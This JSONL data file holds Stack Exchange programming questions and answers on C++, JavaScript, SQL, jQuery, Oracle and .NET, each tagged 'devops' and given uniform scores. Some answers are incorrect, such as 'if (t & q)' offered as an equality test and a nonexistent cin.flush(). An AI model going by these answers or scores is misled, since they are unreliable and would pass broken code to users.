{"id": "hf_1b27620da419", "question": "<p>I have been searching for recent performance benchmarks that compare L2S and EF and couldnt find any that tested calling stored procedures using the released version of EF. So, I ran some of my own tests and found some interesting results.</p>\n\n<p>Do these results look right? Should I be testing it in a different way?</p>\n\n<p>One instance of the context, one call of the sproc:\n(dead link)</p>\n\n<p>One instance of the context, multiple calls of the same sproc:\n(dead link)</p>\n\n<p>Multiple instances of the context, multiple calls of the same sproc:\n(dead link)</p>\n", "question_body": "", "answer": "I think you should test it in a somewhat different way, in order to distinguish\nstartup costs vs. execution costs\n.  The Entity Framework, in particular, has substantial\nstartup costs resulting from the need to compile database views\n(although you can do this in advance).  Likewise, LINQ has a notion of a\ncompiled query\n, which would be appropriate if executing a query multiple times.\nFor many applications, query execution costs will be more important than startup costs.  For some, the opposite may be true.  Since the performance characteristics of these are different, I think it's important to distinguish them.  In particular, averaging startup costs into the average cost of a query executed repeatedly is misleading.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:58.553630"}
{"id": "hf_711c731b597c", "question": "<p>Writing something like this using the <a href=\"http://loki-lib.sourceforge.net/\" rel=\"nofollow noreferrer\">loki library</a>,</p>\n\n<pre><code>typedef Functor&lt;void&gt; BitButtonPushHandler;\n</code></pre>\n\n<p>throws a compiler error, but this works</p>\n\n<pre><code>typedef Functor&lt;void,TYPELIST_1(Matrix3D*)&gt; Perspective;\n</code></pre>\n\n<blockquote>\n  <p>Functor.h:530: error: '((Loki::FunctorHandler, int>*)this)->Loki::FunctorHandler, int>::f_' cannot be used as a function\n  Functor.h:530: error: return-statement with a value, in function returning 'void'</p>\n</blockquote>\n\n<p>Anyone familiar with this library know how to get the first line working?</p>\n", "question_body": "", "answer": "Looking at the source code, the Functor template definition is as follows:\n```\n```\ntemplate <typename R = void, class TList = NullType,\n        template<class, class> class ThreadingModel = LOKI_DEFAULT_THREADING_NO_OBJ_LEVEL>\n    class Functor{...};\n```\n```\nAs commented below, there are no template typedefs allowed, so all types (or accept all defaults) need to be specified.\nYou can just define as follows and let the defaults do the work:\n```\n```\ntypedef Functor<> BitButtonPushHandler;\n```\n```\nThis compiles for me with a small test Functor class (not the actual Loki one), and I can use the typedef successfully.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:58.577069"}
{"id": "hf_038c3f180d04", "question": "<p>Say you have a string, but you don't know what it contains. And you want to replace all occurences of a particular word or part of a word with a formatted version of the same word.\nFor example, I have a string that contains \"lorem ipsum\" and i want to replace the entire word that contains \"lo\" with \"lorem can\" so that the end result would be \"lorem can ipsum\"\nbut if I put the string \"loreal ipsum\" through the same function, the result would now be \"loreal can ipsum\".\nThanks</p>\n", "question_body": "", "answer": "```\n$str = preg_replace('/lo(\\w*)/', 'lo$1 can', $str);\n```\nThis replaces \"lo\" plus any word characters with \"lo\" + the other characters + \" can\"\nIt will also replace \"lo\" with \"lo can\" - if you don't want this, change\n```\n\\w*\n```\nto\n```\n\\w+\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:58.635253"}
{"id": "hf_2e477adafe89", "question": "<p>I understand that using the \"===\" compares type, so running the following code results in \"not equal\" because it's comparing a number type to a string type.</p>\n\n<pre><code>var a = 20;\nvar b = \"20\";\n    if (a === b) {\n        alert(\"They are equal\");\n    } else {\n        alert(\"They are not equal\");\n}\n</code></pre>\n\n<p>But I dont understand how using the \"==\" to compare only the value results in the \"They are equal\" message.</p>\n\n<pre><code>var a = 20;\nvar b = \"20\";\n    if (a == b) {\n        alert(\"They are equal\");\n    } else {\n        alert(\"They are not equal\");\n}\n</code></pre>\n\n<p>How are the values equal? Isn't the string \"20\" stored as the ASCII characters 50 and 48 (0110010 and 0110000 in binary) and 20 stored as the actual binary number 0010100?</p>\n\n<p>EDIT: Thanks everyone! I think all the responses are great and have helped me understand this much better.</p>\n", "question_body": "", "answer": "The\n```\n==\n```\noperator compares only the values of the variables. If the types are different, a conversion is operated. So the number 20 is converted to the string \"20\" and the result is compared.\nThe\n```\n===\n```\noperator compares not only the values, but also the types, so no cast is operated. In this case\n```\n\"20\" !== 20\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:58.697679"}
{"id": "hf_f408268c5603", "question": "<p>I have a JavaScript snippet that runs very well on Firefox and Safari, but refuses to run on IE:</p>\n\n<pre><code>var drop= function(id)\n{\n   if(document.getElementById(\"select1\").value == \"Ficha de pediatria\"){\n    top.location.href = \"print.jsp?id=\"+id+\"&amp;type=2\";\n   }\n   else if(document.getElementById(\"select1\").value == \"Ficha normal\"){\n        top.location.href = \"print.jsp?id=\"+id+\"&amp;type=1\";\n   }\n}\n\n&lt;select id=\"select1\" name=\"select1\" onChange=\"drop(id);return false;\"&gt;\n&lt;option&gt;Imprimir:&lt;/option&gt;\n&lt;option&gt;Ficha de pediatria&lt;/option&gt;\n&lt;option&gt;Ficha normal&lt;/option&gt;\n&lt;/select&gt;\n</code></pre>\n\n<p>I trimed this as it had more JSP code but it' remained the same. Anyone got any idea why it's not running on IE?</p>\n", "question_body": "", "answer": "[EDIT]  Sorry.  I introduced an error with my first post by not carefully looking at how you are constructing your url.  I shouldn't have removed the\n```\nid\n```\nparameter.  I've updated the code and it should work now.\nTry this instead:\n```\n```\nfunction drop(ctl,id)\n{\n   var value = ctl.options[ctl.selectedIndex].value;\n\n   if(value == \"Ficha de pediatria\"){\n       window.top.location.href = \"print.jsp?id=\"+id+\"&type=2\";\n   }\n   else if (value == \"Ficha normal\"){\n       window.top.location.href = \"print.jsp?id=\"+id+\"&type=1\";\n   }\n}\n\n<select id=\"select1\" name=\"select1\" onChange=\"drop(this,id);return false;\">\n<option>Imprimir:</option>\n<option>Ficha de pediatria</option>\n<option>Ficha normal</option>\n</select>\n```\n```\n[EDIT] A bit of explanation...\nI think the issue is how it is accessing the DOM.  I don't think that IE has a value property on a select.  I think you have to get at it via the selected option.  Also, I'm not sure that there is a top property in the global namespace, but you should be able to get at it via\n```\nwindow.top\n```\nto set the location.  Finally, I made a slight improvement in that by specifying\n```\nthis\n```\nas the argument, you can skip the element lookup and reference it directly from the control passed as the argument.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:58.720287"}
{"id": "hf_009b4b8648b1", "question": "<p>How do I clear the cin buffer in C++?</p>\n", "question_body": "", "answer": "The following should work:\n```\n```\ncin.flush();\n```\n```\nOn some systems it's not available and then you can use:\n```\n```\ncin.ignore(INT_MAX);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:58.743983"}
{"id": "hf_56c48bd9f761", "question": "<p>Given the following table, how does one calculate the hourly mode, or value with the highest frequency by hour?</p>\n\n<pre><code>CREATE TABLE Values\n(\n    ValueID int NOT NULL,\n    Value int NOT NULL,\n    LogTime datetime NOT NULL\n)\n</code></pre>\n\n<p>So far, I've come up with the following query.</p>\n\n<pre><code>SELECT count(*) AS Frequency, \nDatePart(yy, LogTime) as [Year], \nDatePart(mm, LogTime) as [Month],\nDatePart(dd, LogTime) as [Day], \nDatePart(hh, LogTime) as [Hour]\nFROM Values\nGROUP BY \nValue,\nDatePart(yy, LogTime), \nDatePart(mm, LogTime),\nDatePart(dd, LogTime), \nDatePart(hh, LogTime)\n</code></pre>\n\n<p>However, this yields the frequency of each distinct value by hour. How do I add a constraint to only return the value with the maximum frequency by hour?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Nest the aggregates...\n```\n```\nSELECT\n    MAX(Frequency) AS [Mode],\n    [Year],[Month],[Day],[Hour]\nFROM\n    (SELECT\n         COUNT(*) AS Frequency, \n         DatePart(yy, LogTime) as [Year], \n         DatePart(mm, LogTime) as [Month], \n         DatePart(dd, LogTime) as [Day], \n         DatePart(hh, LogTime) as [Hour]\n    FROM \n         Values \n    GROUP BY \n         Value, \n         DatePart(yy, LogTime), \n         DatePart(mm, LogTime), \n         DatePart(dd, LogTime), \n         DatePart(hh, LogTime)\n    ) foo\nGROUP By\n    [Year],[Month],[Day],[Hour]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:58.766698"}
{"id": "hf_98003024cab4", "question": "<p>Here is a simple scenario with table characters:</p>\n\n<pre><code>CharacterName GameTime Gold Live\nFoo 10 100 3 \nFoo 20 100 2 \nFoo 30 95 2\n</code></pre>\n\n<p>How do I get this output for the query <code>SELECT Gold, Live FROM characters WHERE name = 'Foo' ORDER BY GameTime</code>:</p>\n\n<pre><code>Gold Live\n100 3\n0 -1\n-5 0\n</code></pre>\n\n<p>using MySQL stored procedure (or query) if it's even possible? I thought of using 2 arrays like how one would normally do in a server-side language, but MySQL doesn't have array types.</p>\n\n<p>While I'm aware it's probably easier to do in PHP (my server-side langauge), I want to know if it's possible to do in MySQL, just as a learning material.</p>\n", "question_body": "", "answer": "Do you have an ID on your Table.\n```\n```\nGameID      CharacterName GameTime    Gold        Live\n----------- ------------- ----------- ----------- -----------\n1           Foo           10          100         3\n2           Foo           20          100         2\n3           Foo           30          95          2\n```\n```\nIf so you could do a staggered join onto itself\n```\n```\nSELECT\n    c.CharacterName, \n    CASE WHEN c_offset.Gold IS NOT NULL THEN c.Gold - c_offset.Gold ELSE c.Gold END AS Gold,\n    CASE WHEN c_offset.Live IS NOT NULL THEN c.Live - c_offset.Live ELSE c.Live END AS Live\nFROM Characters c \n    LEFT OUTER JOIN Characters c_offset\n        ON c.GameID - 1 = c_offSet.GameID\nORDER BY\n    c.GameTime\n```\n```\nEssentially it joins each game row to the previous game row and does a diff between the values. That returns the following for me.\n```\n```\nCharacterName Gold        Live\n------------- ----------- -----------\nFoo           100         3\nFoo           0           -1\nFoo           -5          0\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:58.943455"}
{"id": "hf_c950ab59122a", "question": "<p>What's your opinion for the best possible way to build asp.net multilingual localized web application (only UI localization of string resources). Especially this two things:</p>\n\n<ol>\n<li>How to store resources? Xml files, resx files or something else?</li>\n<li>How to handle URL's? I don't want to keep language parameter in query string all the time so I need to use URL rewriting maybe?</li>\n</ol>\n\n<p>/BR</p>\n", "question_body": "", "answer": "Have you looked into the localization support in ASP.NET?  It uses resource assemblies and sets the default resource based on the browser's settings.  You can also override the setting by setting the culture and uiculture settings for the thread handling the request.\nIf you don't like using the resource assemblies (which do require a project rebuild when you want to make changes), you can also create a custom resource provider for ASP.NET (\nthis link\nuses MS Access as an example, you can try to customize it for SQL or some other provider).\nhttp://asp.net\nhas some tutorials to get you started, like\nthis one\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:58.983215"}
{"id": "hf_3b72058abeb1", "question": "<p>I am writing a quick application myself - first project, however I am trying to find the VBA code for writing the result of an input string to a named cell in Excel.</p>\n\n<p>For example, a input box asks the question \"Which job number would you like to add to the list?\"... the user would then enter a reference number such as \"FX1234356\".  The macro then needs to write that information into a cell, which I can then use to finish the macro (basically a search in some data).</p>\n", "question_body": "", "answer": "You can use the Range object in VBA to set the value of a named cell, just like any other cell.\n```\n```\nRange(\"C1\").Value = Inputbox(\"Which job number would you like to add to the list?)\n```\n```\nWhere \"C1\" is the name of the cell you want to update.\nMy Excel VBA is a little bit old and crusty, so there may be a better way to do this in newer versions of Excel.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:59.006629"}
{"id": "hf_633621c5c219", "question": "<p>I'm relatively new to jQuery, but so far what I've seen I like. What I want is for a div (or any element) to be across the top of the page as if \"position: fixed\" worked in every browser.</p>\n\n<p>I do not want something complicated. I do not want giant CSS hacks. I would prefer if just using jQuery (version 1.2.6) is good enough, but if I need jQuery-UI-core, then that's fine too.</p>\n\n<p>I've tried $(\"#topBar\").scrollFollow(); &lt;-- but that goes slow... I want something to appear really fixed.</p>\n", "question_body": "", "answer": "Using this HTML:\n```\n```\n<div id=\"myElement\" style=\"position: absolute\">This stays at the top</div>\n```\n```\nThis is the javascript you want to use. It attaches an event to the window's scroll and moves the element down as far as you've scrolled.\n```\n```\n$(window).scroll(function() {\n    $('#myElement').css('top', $(this).scrollTop() + \"px\");\n});\n```\n```\nAs pointed out in the comments below, it's not recommended to attach events to the scroll event - as the user scrolls, it fires A LOT, and can cause performance issues. Consider using it with Ben Alman's\ndebounce/throttle\nplugin to reduce overhead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:59.029956"}
{"id": "hf_f578b81f559b", "question": "<p>in C++ I have two chars holding hex values e.g.:</p>\n\n<pre><code>char t = 0x4;\nchar q = 0x4;\n</code></pre>\n\n<p>How would i compare if the two values held in the char are the same?? I tried</p>\n\n<pre><code>if (t == q) // should give me true\n</code></pre>\n\n<p>but no, any help, thanks!</p>\n", "question_body": "", "answer": "Ah, I found the solution:\n```\n```\nif (t & q)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:59.099139"}
{"id": "hf_aab5bf8521ea", "question": "<p>Is it possible to write a template that changes behavior depending on if a certain member function is defined on a class?</p>\n\n<p>Here's a simple example of what I would want to write:</p>\n\n<pre><code>template&lt;class T&gt;\nstd::string optionalToString(T* obj)\n{\n    if (FUNCTION_EXISTS(T-&gt;toString))\n        return obj-&gt;toString();\n    else\n        return \"toString not defined\";\n}\n</code></pre>\n\n<p>So, if <code>class T</code> has <code>toString()</code> defined, then it uses it; otherwise, it doesn't. The magical part that I don't know how to do is the \"FUNCTION_EXISTS\" part.</p>\n", "question_body": "", "answer": "This is what type traits are there for. Unfortunately, they have to be defined manually. In your case, imagine the following:\n```\n```\ntemplate <typename T>\nstruct response_trait {\n    static bool const has_tostring = false;\n};\n\ntemplate <>\nstruct response_trait<your_type_with_tostring> {\n    static bool const has_tostring = true;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:59.122494"}
{"id": "hf_141dd8c8903a", "question": "<p>I need to add 30 minutes to values in a Oracle date column.  I do this in my SELECT statement by specifying </p>\n\n<p><code>to_char(date_and_time + (.000694 * 31)</code></p>\n\n<p>which works fine most of the time.  But not when the time is on the AM/PM border.  For example, adding 30 minutes to <code>12:30</code> [which is  PM] returns <code>1:00</code> which is AM. The answer I expect is <code>13:00</code>.  What's the correct way to do this?</p>\n", "question_body": "", "answer": "Be sure that Oracle understands that the starting time is PM, and to specify the HH24 format mask for the final output.\n```\n```\nSELECT to_char((to_date('12:40 PM', 'HH:MI AM') + (1/24/60) * 30), 'HH24:MI') as time\n  FROM dual\n\nTIME\n---------\n13:10\n```\n```\nNote: the\n```\n'AM'\n```\nin the HH:MI is just the placeholder for the AM/PM meridian indicator. Could be also\n```\n'PM'\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:59.169550"}
{"id": "hf_cdcef55ef181", "question": "<p>If I have a range of say <code>000080-0007FF</code>\nand I want to see if a char containing hex is within that range, how can I do it?</p>\n\n<p>Example</p>\n\n<pre><code>char t = 0xd790;\n\nif (t is within range of 000080-0007FF) // true\n</code></pre>\n", "question_body": "", "answer": "```\n```\nwchar_t t = 0xd790;\n\nif (t >= 0x80 && t <= 0x7ff) ...\n```\n```\nIn C++, characters are interchangeable with integers and you can compare their values directly.\nNote that I used\n```\nwchar_t\n```\n, because the\n```\nchar\n```\ndata type can only hold values up to 0xFF.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:59.239407"}
{"id": "hf_95b529dc4b66", "question": "<p>Is there a native c++ variable type that's \"bigger\" than a double?<br>\nfloat is 7<br>\ndouble is 15  (of course depending on the compiler)<br>\nIs there anything bigger that's native, or even non-native?</p>\n", "question_body": "", "answer": "C++ has\n```\nlong double\n```\n, but there is no guarantee that it's any more precise than a plain\n```\ndouble\n```\n. On an x86 platform, usually\n```\ndouble\n```\nis 64 bits, and\n```\nlong double\n```\nis either 64 or 80 bits (which gives you 19 significant figures, if I remember right).\nYour mileage may vary, especially if you're not on x86.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:59.274251"}
{"id": "hf_cb984a1ee530", "question": "<p>I would like to know if anyone here knows an API where it's possible for me to create a live webcam broadcast from inside my website?</p>\n\n<p>I was checking the uStream API and it seems that you can't create anything, just retrieve data... Does anyone knows anything like this?</p>\n\n<p>Thanks in advance!</p>\n", "question_body": "", "answer": "See\nBasics of video\nat adobe.com", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:59.297188"}
{"id": "hf_5aac0aa6b690", "question": "<p>I have a const char arr[] parameter that I am trying to iterate over,</p>\n\n<pre><code>char *ptr;\nfor (ptr= arr; *ptr!= '\\0'; ptr++) \n  /* some code*/\n</code></pre>\n\n<p>I get an error: assignment discards qualifiers from pointer target type</p>\n\n<p>Are const char [] handled differently than non-const?</p>\n", "question_body": "", "answer": "Switch the declaration of *ptr to be.\n```\n```\nconst char* ptr;\n```\n```\nThe problem is you are essentially assigning a const char* to a char*.  This is a violation of const since you're going from a const to a non-const.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:59.343683"}
{"id": "hf_86159cb64fa1", "question": "<p>Is there a UI library to create a message box or input box in python?</p>\n", "question_body": "", "answer": "Your best bet is the tkMessageBox module, which should work on all systems (as Python will typically come with Tkinter).\nIf you can restrict yourself to a specific operating system, better choices might be available.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:59.382767"}
{"id": "hf_8cafbd74916e", "question": "<p>I am trying to load <code>UIImage</code> object from <code>NSData</code>, and the sample code was to <code>NSImage</code>, I guess they should be the same. But just now loading the image, I am wondering what's the best to troubleshoot the <code>UIImage</code> loading <code>NSData</code> issue.</p>\n", "question_body": "", "answer": "UIImage has an -\n```\ninitWithData:\n```\nmethod. From the docs: \"The data in the data parameter must be formatted to match the file format of one of the system’s supported image types.\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:59.406817"}
{"id": "hf_07ae08471242", "question": "<p>I've been seeing that expression for over 10 years now. I've been trying to think what it's good for. Since I see it mostly in #defines, I assume it's good for inner scope variable declaration and for using breaks (instead of gotos.)</p>\n<p>Is it good for anything else? Do you use it?</p>\n", "question_body": "", "answer": "It is a way to simplify error checking and avoid deep nested if's.  For example:\n```\n```\ndo {\n  // do something\n  if (error) {\n    break;\n  }\n  // do something else\n  if (error) {\n    break;\n  }\n  // etc..\n} while (0);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:59.445880"}
{"id": "hf_cba2e88e7673", "question": "<p>I've been trying to trace down why I have 100% iowait on my box. If I do something like a mysql select query, system goes to 100% iowait (on more than one cpu on my server,) which kills my watchdogs and sometimes kills httpd itself. </p>\n\n<p>In vmstat I see that every 8 seconds or so, there's a 5MB disk write. And that causes at least one cpu (out of 4) to be blocking for one or two seconds. </p>\n\n<p>I have to say that there are a few million files in my ext3 (and I tried ext2, and I have no atime and no journaling enabled.) There is a hardware raid, mirroring two 300GB ides.</p>\n\n<p>I'm missing dtrace. Is there any way to find out what causes these writes? and how do I speed my filesystem up? </p>\n\n<p>Ideas are welcome!</p>\n\n<p>Thank you!</p>\n", "question_body": "", "answer": "OK, possible diagnosis steps (for posterity):\nHave you confirmed that you're not actually running out of virtual memory and therefore swapping processes out to disk?\nIf it's not the kernel swapping, you may be able to use\n```\nstrace\n```\n(as you don't have\n```\ndtrace\n```\n) to prove whether it's MySQL doing the writes\nCan you please provide more details of the hardware and O/S configuration?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:59.468839"}
{"id": "hf_86a7f38367a3", "question": "<p>So I have this c# application that needs to ping my web server thats running linux/php stack.<br>\nI am having problems with the c# way of base 64 encoding bytes.</p>\n\n<p>my c# code is like:</p>\n\n<pre><code>byte[] encbuff = System.Text.Encoding.UTF8.GetBytes(\"the string\");\nString enc = Convert.ToBase64String(encbuff);\n</code></pre>\n\n<p>and php side:</p>\n\n<pre><code>$data = $_REQUEST['in'];\n$raw = base64_decode($data);\n</code></pre>\n\n<p>with larger strings 100+ chars it fails.\nI think this is due to c# adding '+'s in the encoding but not sure.\nany clues</p>\n", "question_body": "", "answer": "Convert.ToBase64String doesn't seem to add anything extra as far as I can see. For instance:\n```\n```\nbyte[] bytes = new byte[1000];\nConsole.WriteLine(Convert.ToBase64String(bytes));\n```\n```\nThe above code prints out a load of AAAAs with == at the end, which is correct.\nMy guess is that\n```\n$data\n```\non the PHP side doesn't contain what\n```\nenc\n```\ndid on the C# side - check them against each other.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:59.529088"}
{"id": "hf_46afcac65a35", "question": "<p>What's the difference between these two?\nWhich is better/faster/reliable?</p>\n", "question_body": "", "answer": "They are both specifications for plugging a web application into a web server. One glaring difference is that WSGI comes from the Python world, and I believe there are no non-python implementations.\nSpecifications are generally not comparable based on better/faster/reliable.\nOnly their implementations are comparable, and I am sure you will find good implementations of both specifications.\nPerhaps\nread\nand\nread\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:59.552570"}
{"id": "hf_a16b125b5b80", "question": "<p>Within an unordered list:</p>\n\n<pre><code>&lt;li&gt;&lt;span&gt;&lt;/span&gt; The lazy dog.&lt;/li&gt;\n&lt;li&gt;&lt;span&gt;AND&lt;/span&gt; The lazy cat.&lt;/li&gt;\n&lt;li&gt;&lt;span&gt;OR&lt;/span&gt; The active goldfish.&lt;/li&gt;\n</code></pre>\n\n<p>Adding a class or style attribute is permitted but padding the text and adding or changing tags is not allowed.</p>\n\n<p>The page is rendering with Courier New.</p>\n\n<p>Goal is to have text after span lined up.</p>\n\n<pre><code>    The lazy dog.\nAND The lazy cat.\nOR  The active goldfish.\n</code></pre>\n\n<p>Justification of the \"OR\" is unimportant.</p>\n\n<p>The lazy animal text may be wrapped in an additional element but I'll have to double check.</p>\n", "question_body": "", "answer": "```\n```\nul {\n  list-style-type: none;\n  padding-left: 0px;\n}\n\nul li span {\n  float: left;\n  width: 40px;\n}\n```\n```\n```\n```\n<ul>\n  <li><span></span> The lazy dog.</li>\n  <li><span>AND</span> The lazy cat.</li>\n  <li><span>OR</span> The active goldfish.</li>\n</ul>\n```\n```\nLike Eoin said, you need to put a non-breaking space into your \"empty\" spans, but you can't assign a width to an inline element, only padding/margin so you'll need to make it float so that you can give it a width.\nFor a jsfiddle example, see\nhttp://jsfiddle.net/laurensrietveld/JZ2Lg/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:59.575590"}
{"id": "hf_5ee05e720d7b", "question": "<p>I understand how the implementation of dynamic binding works and also the difference between static and dynamic binding, I am just having trouble wrapping my brain around the definition of dynamic binding. Basically other than it is a run-time binding type.</p>\n", "question_body": "", "answer": "I understand it being evident in polymorphism.  Typically when creating multiple classes that derive from a base class.  If each one of the derived classes contains a function that each one uses.  The base class can be used to execute a function of the derived classs and it will be properly call the correct function.\nFor example:\n```\n```\nclass Animal\n{\nvoid talk();\n}\n\nclass Dog extends Animal\n{\npublic void talk() { System.out.println(\"woof\"); }\n}\n\nclass Cat extends Animal\n{\npublic void talk() { System.out.println(\"meow\"); }\n}\n\n....\nAnimal zoo[2];\nzoo[0] = new Dog();\nzoo[1] = new Cat();\n\nfor(Animal animalToggle: zoo)\n{\nanimalToggle.talk();\n}\n```\n```\nwill print:\nwoof\nmeow\nMy interpretation hopefully it helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:59.599140"}
{"id": "hf_f523b439ebf6", "question": "<p>I'd like to develop a few applications for a device I own which has Windows Mobile 2003 on it, but I don't care to hunt down a copy of Visual Studio 2003 to do so. I'd like to know if the Mobile 6 SDK can be used for this purpose.</p>\n\n<p>There's no upgrade path to newer versions of Windows Mobile for this device, and I doubt I'll be getting any newer devices any time soon. Just in case you'd suggest something like that...</p>\n", "question_body": "", "answer": "You can create programs for WM2003. As long as you can install the .net cf you will be able to run programs compiled under the compact framework. The list of requirements are:\nFrom\nmicrosoft.com\n:\nSystem Requirements\n* Supported Operating Systems: Windows CE .NET; Windows Mobile 2003 software for Pocket PCs\n* Supported Device Operating Systems: Windows Mobile Software for Pocket PC 2003, Windows Mobile 5.0 for PocketPC and Smartphone, Windows CE .NET 5.0 and higher.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:59.645896"}
